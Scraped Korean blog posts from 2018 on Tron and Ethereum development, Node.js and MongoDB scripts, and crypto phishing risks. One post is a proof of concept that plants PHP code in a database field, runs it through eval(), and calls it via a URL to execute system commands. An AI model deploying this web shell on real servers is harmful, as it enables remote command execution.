tron 파이썬 모듈

트론 2018. 12. 13. 12:49

출처 : https://github.com/iexbase/tron-api-python

 

 virtualenv -p /usr/bin/python3 ~/tronapi
source ~/tronapi/bin/activate

 

pip3 install base58
pip3 install requests
pip3 install tronapi
pip3 install python-telegram-bot

 

 

ModuleNotFoundError: No module named 'tronapi.provider'

다 설치 했는데

밀고 다시 했는데 왜 안될가 ?

'트론' 카테고리의 다른 글

tron-web 분해하기1 (tronWeb.createAccount)  (0) 2018.12.17
tron-web 설치  (0) 2018.12.17
tronbox 설치  (1) 2018.12.17
트론 shasta 테스트넷  (0) 2018.12.13
트론 노드구축  (0) 2018.12.11
블로그 이미지

iesay

,

1. github활용

   https://www.theregister.co.uk/2018/11/26/npm_repo_bitcoin_stealer/

 nodejs 자바스크립트이 경우 난독화가 편하다. 그래서 악성코드 바이너를 집어넣고 난독화 해버리는 경우도 있다. Drive by Download가 된다.

 

 그리고 또 암호화폐 wallet소스라고 하고 코인전송하면 보여자는 주소는 받는 사람 주소인데 전송하면 해커의주소로만 전송 된다던지

아니면 Account를 생성하면 Private Key를 생성하면 바로 해커의 서버로 전송 되게도 구현할수 있다. 이경우 사용자가 많아진뒤 나중에 훔쳐갈수 있다.

 

 

2. 피싱 활용

해외에 ip차단 서비스를 네이버에 신청했는데 피싱으로 저런 메일이 왔다. 변경하기 들어가면 해커카 해킹한 사이트가 있었다.

 

Myetherwallet을 사칭하는 메일도 많다.

에어드랍이나 ,,,, 당신의 지갑이 해킹당했다는 메일도 자주 온다.

요즘 사회공학적인 방법이나 저런 피싱류 메일은 사람들이 잘 안속는다.

 

네이버의 경우도 모든 사이트가 https로 구현되어 있다.

인터넷뱅킹을 PC로 하더라도 https로 구현된 부분과 전자인증서를 확인하는 버릇을 들이는게 좋다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

블로그 이미지

iesay

,

트론 노드구축

트론 2018. 12. 11. 18:17

 

트론 개발 가이드

https://developers.tron.network/docs/getting-started-1

 

이더리움의 gas 문제와 이오스의 값비싼 자원으로 1/100싸다는 트론으로

한번 진행 예정

 

초기라서 레퍼런스도 부족하고 수 많은 시행착오도 겪겠지만

 

점차 나아지지 않을까 싶다.

 

git clone https://github.com/tronprotocol/docker-tron-quickstart.git

 

docker run -it -p 8091:8091 -p 8092:8092 -p 8090:8090 -p 50051:50051 -p 50052:50052 --rm --name tron trontools/quickstart:1.2.5


 

 

docker: write /var/lib/docker/tmp/GetImageBlob518037365: no space left on device.
See 'docker run --help'.

 

도커를 쓰기 위해서는 용량을 잘 확보해 놓아야 된다.

메뉴얼과 가이드만으로 문서가 너무 부족하다.

 

 

 

'트론' 카테고리의 다른 글

tron-web 분해하기1 (tronWeb.createAccount)  (0) 2018.12.17
tron-web 설치  (0) 2018.12.17
tronbox 설치  (1) 2018.12.17
트론 shasta 테스트넷  (0) 2018.12.13
tron 파이썬 모듈  (0) 2018.12.13
블로그 이미지

iesay

,

 

sample.json 데이터

 {
 "status":"1",
 "message":"OK",
 "result":[
  {
   "blockNumber":"4473164",
   "timeStamp":"1542787987",
   "hash":"0xac86d44f53a22e4b12853f5f8234f95b831e1521694c4072fd6a97b219ec3cb7",
   "nonce":"17012682",
   "blockHash":"0x4ee9b9d29f78f7aab230613f8827e9e070d5b60b2cd06d61e83b17aaaa5b1e67",
   "transactionIndex":"54",
   "from":"0x81b7e08f65bdf5648606c89998a9cc8164397647",
   "to":"0xff0797d06e8f9897b1d5066c10d9497ed7054a47",
   "value":"1000000000000000000",
   "gas":"21000",
   "gasPrice":"1000000000",
   "isError":"0",
   "txreceipt_status":"1",
   "input":"0x",
   "contractAddress":"",
   "cumulativeGasUsed":"6877760",
   "gasUsed":"21000",
   "confirmations":"104500"
                  }
    ]
}

result속의 데이터만 어떻게 가지고 올까 참 고민 많이 했다.

 

 var fs = require('fs');

console.log(result);
var initialData = fs.readFileSync('sample.json');
var TRList = JSON.parse(initialData);


var Result_data = [];
    for(var i=0; i<TRList.result.length; i++){
        var TR=TRList.result[i];
          var info = {
                  blockNumber: TR.blockNumber,
                  timestamp: TR.timestamp,

                  hash: TR.hash,
                  nonce: TR.nonce,

                  blockHash: TR.blockHash,
                  transactionIndex: TR.transactionIndex,

                  from: TR.from,
                  to: TR.to,

                  value: TR.value,
                  gas: TR.gas,

                  gasPrice: TR.gasPrice,
                  isError: TR.isError,

                  txreceipt_status: TR.txreceipt_status,
                  input: TR.input,

                  contractAddress: TR.contractAddress,
                  cumulativeGasUsed: TR.cumulativeGasUsed,

                  gasUsed: TR.gasUsed,
                  confirmations: TR.confirmations
        };
        Result_data.push(info);
    }
    var result={
        count: Result_data.length, // count
        Result_data: Result_data
    };
console.log(result);

TRList.result 저거 한줄을 못해서 ㅋㅋ 몇시간 동안 머한건지 ,,

 

 root@tkpark-VirtualBox:~/node# nodejs ex4.js
undefined
{ count: 1,
  Result_data:
   [ { blockNumber: '4473164',
       timestamp: undefined,
       hash: '0xac86d44f53a22e4b12853f5f8234f95b831e1521694c4072fd6a97b219ec3cb7',
       nonce: '17012682',
       blockHash: '0x4ee9b9d29f78f7aab230613f8827e9e070d5b60b2cd06d61e83b17aaaa5b1e67',
       transactionIndex: '54',
       from: '0x81b7e08f65bdf5648606c89998a9cc8164397647',
       to: '0xff0797d06e8f9897b1d5066c10d9497ed7054a47',
       value: '1000000000000000000',
       gas: '21000',
       gasPrice: '1000000000',
       isError: '0',
       txreceipt_status: '1',
       input: '0x',
       contractAddress: '',
       cumulativeGasUsed: '6877760',
       gasUsed: '21000',
       confirmations: '104500' } ] }
root@tkpark-VirtualBox:~/node#

 

이제 MongoDB에 집어 넣어 볼가?

var fs = require('fs');
var initialData = fs.readFileSync('sample.json');
var TRList = JSON.parse(initialData);
var mongoose = require('mongoose');
mongoose.connect('mongodb://test:12345@localhost:31337/test',
{
        useNewUrlParser: true
});
var db=mongoose.connection;
var PostSchema = new mongoose.Schema( {
        blockNumber: Number,
        timestamp: Date,
        hash: String,
        nonce: Number,
        blockHash: String,
        transactionIndex: Number,
        from: String,
        to: String,
        value: String,
        gas: Number,
        gasPrice: String,
        isError: Boolean,
        txreceipt_status: Number,
        input: String,
        contractAddress: String,
        cumulativeGasUsed: Number,
        gasUsed: Number,
        confirmations: Number
})
var Post = mongoose.model('Post',PostSchema);
var Result_data = [];
    for(var i=0; i<TRList.result.length; i++){
        var TR=TRList.result[i];
        var post_1 = new Post( {
                blockNumber: TR.blockNumber,
                timestamp: TR.timestamp,
                hash: TR.hash,
                nonce: TR.nonce,
                blockHash: TR.blockHash,
                transactionIndex: TR.transactionIndex,
                from: TR.from,
                to: TR.to,
                value: TR.value,
                gas: TR.gas,
                gasPrice: TR.gasPrice,
                isError: TR.isError,
                txreceipt_status: TR.txreceipt_status,
                input: TR.input,
                contractAddress: TR.contractAddress,
                cumulativeGasUsed: TR.cumulativeGasUsed,
                gasUsed: TR.gasUsed,
                confirmations: TR.confirmations
        });
                post_1.save(function (err) {
                if (err) return handleError(err);
                mongoose.disconnect();
        })
};

다 만들었다 거의 95%정도 완료 ...

save 부분에서 disconnet 해줘야지 백그라운드로 계속 프로세스가 돌지 않고

종료

 

 

 

 

DB에 박히는거 까지 확인

여기서는 조용해서 집중도 잘되고 문제 해결이 잘됨..

 

 

블로그 이미지

iesay

,

DB에 웹쉘코드 삽입 POC

2018. 12. 6. 11:48

php가변함수 참고 : https://demonteam.org/2018/07/18/php/

db에 웹쉘코드를 박고 실행이 될까 하는 의문점에서 시작한 POC

sql인젝션으로  DB에 웹쉘코드를 박고 활용하는 방안이다.

 

 

 root@tkpark-VirtualBox:/var/www/html# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 43
Server version: 10.1.34-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create user 'iesay'@'%' identified by '1234';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> grant all on iesay.* to 'iesay'@'%';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

 

 

 MariaDB [(none)]> use iesay
Database changed
MariaDB [iesay]> create table users (
    ->     idx int not null auto_increment primary key,
    ->     id char(20),
    ->     name varchar(100),
    ->     pw char(20)
    ->     );
Query OK, 0 rows affected (0.02 sec)

MariaDB [iesay]> show tables;
+-----------------+
| Tables_in_iesay |
+-----------------+
| users           |
+-----------------+

 

 MariaDB [iesay]> desc users;
+-------+----------+------+-----+---------+----------------+
| Field | Type     | Null | Key | Default | Extra          |
+-------+----------+------+-----+---------+----------------+
| idx   | int(11)  | NO   | PRI | NULL    | auto_increment |
| id    | char(20) | YES  |     | NULL    |                |
| name  | char(20) | YES  |     | NULL    |                |
| pw    | char(20) | YES  |     | NULL    |                |
+-------+----------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

MariaDB [iesay]> insert into users(id, name, pw) values('admin', '관리자', 'toor');
Query OK, 1 row affected (0.00 sec)


 

 

 

MariaDB [iesay]> select * from users;
+-----+---------+-----------+------+
| idx | id      | name      | pw   |
+-----+---------+-----------+------+
|   1 | admin   | 관리자    | toor |
|  
+-----+---------+-----------+------+
1 rows in set (0.00 sec)
 

 

apt-get install php7.0-mysql

설치 후

phpinfo에서 PDO확인

 

 

MariaDB [iesay]> update users set name = "system(ls);" where id="admin";
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [iesay]> select * from users;
+-----+---------+-------------+------+
| idx | id      | name        | pw   |
+-----+---------+-------------+------+
|   1 | admin   | system(ls); | toor |
|  
+-----+---------+-------------+------+
1 rows in set (0.00 sec)
 

 

 

 

1.php


 

session_start(); // 세션
include ("connect.php"); // DB접속


$query = "select * from users where id='admin' and pw='toor'";
$result = mysqli_query($con, $query);
$row = mysqli_fetch_array($result);

$a= $row['name'];


?>
 

 

 

2.php


<html>
<body>

<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<p>Some more text.</p>
<?php include '1.php';
eval($a);
?>

</body>
</html>
 

 

 

eval함수를 이용한 웹쉘,,,

 

MariaDB [iesay]> update users set name = "$_GET['a']($_GET['b']);" where id="admin";
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0
MariaDB [iesay]> select * from users;
+-----+---------+-------------------------+------+
| idx | id      | name                    | pw   |
+-----+---------+-------------------------+------+
|   1 | admin   | $_GET['a']($_GET['b']); | toor |
|  
+-----+---------+-------------------------+------+
1 rows in set (0.00 sec) 

 

 

 

http://192.168.0.118/2.php?a=system&b=uname%20-a

가변함수로도 사용 가능

 

 

 

 

 

 

 

 

 

'' 카테고리의 다른 글

promise  (0) 2019.03.28
정규식 표현 정리  (0) 2019.03.28
워드프레스 서버 이관  (0) 2018.09.03
PHPMailer 구글 SMTP 메일 보내기  (0) 2018.08.23
리눅스 서버 이관 작업  (0) 2017.10.26
블로그 이미지

iesay

,

 

참고 자료 : https://javafa.gitbooks.io/nodejs_server_basic/content/chapter12.html

var fs = require('fs');
var initialData = fs.readFileSync('123.json');
var TRList = JSON.parse(initialData);
var mongoose = require('mongoose');
mongoose.connect('mongodb://test:12345@localhost:31337/test', {
        useNewUrlParser: true
}
);
var db=mongoose.connection;
var PostSchema = new mongoose.Schema( {
        blockHash: String,
            to: String,
            value: String
}
)
var Post = mongoose.model('Post', PostSchema);
for (var i=0; i<TRList.length; i++) {
        var TR=TRList[i];
        var post_1 = new Post( {
                blockHash: TR.blockHash, to: TR.to, value: TR.value
        });
        post_1.save(function (err) {
                if (err) return handleError(err);
        })
};

Post.find(function (err, docs){
        console.log(docs);
});
console.log("complete");

출력이 다 된 후 멈춤 현상 발생

mongoose는 무조건 스키마 설계 해서 입력해야 됨


MongDB입력된 상태 확인

 

 

 

 

 

소스코드 상에는 출력을 다 하고 Compete 떠야 되는데

이것도 먼가 동기 비동기 문제가 아닌가 생각도 든다.

 

 

 root@tkpark-VirtualBox:~/node# nodejs ex3.js
complete
[ { _id: 5c072a025fce5b0d761520e4,
    blockHash: '0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a025fce5b0d761520e5,
    blockHash: '0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a025fce5b0d761520e6,
    blockHash: '0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '300000000000000000',
    __v: 0 },
  { _id: 5c072a025fce5b0d761520e7,
    blockHash: '0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '2000000000000000000',
    __v: 0 },
  { _id: 5c072a96e83eec0d91432933,
    blockHash: '0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a96e83eec0d91432934,
    blockHash: '0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a96e83eec0d91432935,
    blockHash: '0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '300000000000000000',
    __v: 0 },
  { _id: 5c072a96e83eec0d91432936,
    blockHash: '0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '2000000000000000000',
    __v: 0 },
  { _id: 5c072a9ec3495f0d9f59d16b,
    blockHash: '0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a9ec3495f0d9f59d16c,
    blockHash: '0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a9ec3495f0d9f59d16d,
    blockHash: '0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '300000000000000000',
    __v: 0 },
  { _id: 5c072a9ec3495f0d9f59d16e,
    blockHash: '0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '2000000000000000000',
    __v: 0 },
  { _id: 5c072aa698a2420dad976f44,
    blockHash: '0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072aa698a2420dad976f45,
    blockHash: '0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072aa698a2420dad976f46,
    blockHash: '0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '300000000000000000',
    __v: 0 },
  { _id: 5c072aa698a2420dad976f47,
    blockHash: '0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '2000000000000000000',
    __v: 0 } ]

 

'시스템' 카테고리의 다른 글

nodejs - form submit  (0) 2019.01.22
nodejs + mariadb 연동  (0) 2019.01.14
nodejs json파일 컨트롤  (0) 2018.12.04
Mongdb 설치 ubuntu 18  (0) 2018.11.30
리눅스 node-gyp 에러 error  (0) 2018.11.23
블로그 이미지

iesay

,

 

샘플용 json파일을 node.js로 파싱해서 화면에 출력해 보았다.

차후 완성본은 웹에 있는 json파일을 파싱해서

MongoDB에 저장하는 형태가 될것이다.

 

 

 

123.json 파일

[

{"blockHash":"0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425",

"to":"0x7a0e3ab3c9626018850c06a099981f0b1f183d95","value":"100000000000000000"},


{"blockHash":"0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933",

"to":"0x7a0e3ab3c9626018850c06a099981f0b1f183d95","value":"100000000000000000"},

{"blockHash":"0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4",

"to":"0x7a0e3ab3c9626018850c06a099981f0b1f183d95","value":"300000000000000000"},

{"blockHash":"0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8",

"to":"0x7a0e3ab3c9626018850c06a099981f0b1f183d95","value":"2000000000000000000"}]
 

 

 

ex3.js  node.js파일

var fs = require('fs');

console.log(result);
var initialData = fs.readFileSync('123.json');
var TRList = JSON.parse(initialData);


var Result_data = [];
    for(var i=0; i<TRList.length; i++){
        var TR=TRList[i];
          var info = {
            blockHash : TR.blockHash,
            to : TR.to,
            value : TR.value
        };
        Result_data.push(info);
    }
    var result={
        count: Result_data.length, // count
        Result_data: Result_data
    };
console.log(result); 

 

 

출력결과

 

 

 

 

 

'시스템' 카테고리의 다른 글

nodejs + mariadb 연동  (0) 2019.01.14
nodejs json파일 MongDB에 입력  (0) 2018.12.04
Mongdb 설치 ubuntu 18  (0) 2018.11.30
리눅스 node-gyp 에러 error  (0) 2018.11.23
시스템 해킹 자동화 공격 exploit  (0) 2016.03.12
블로그 이미지

iesay

,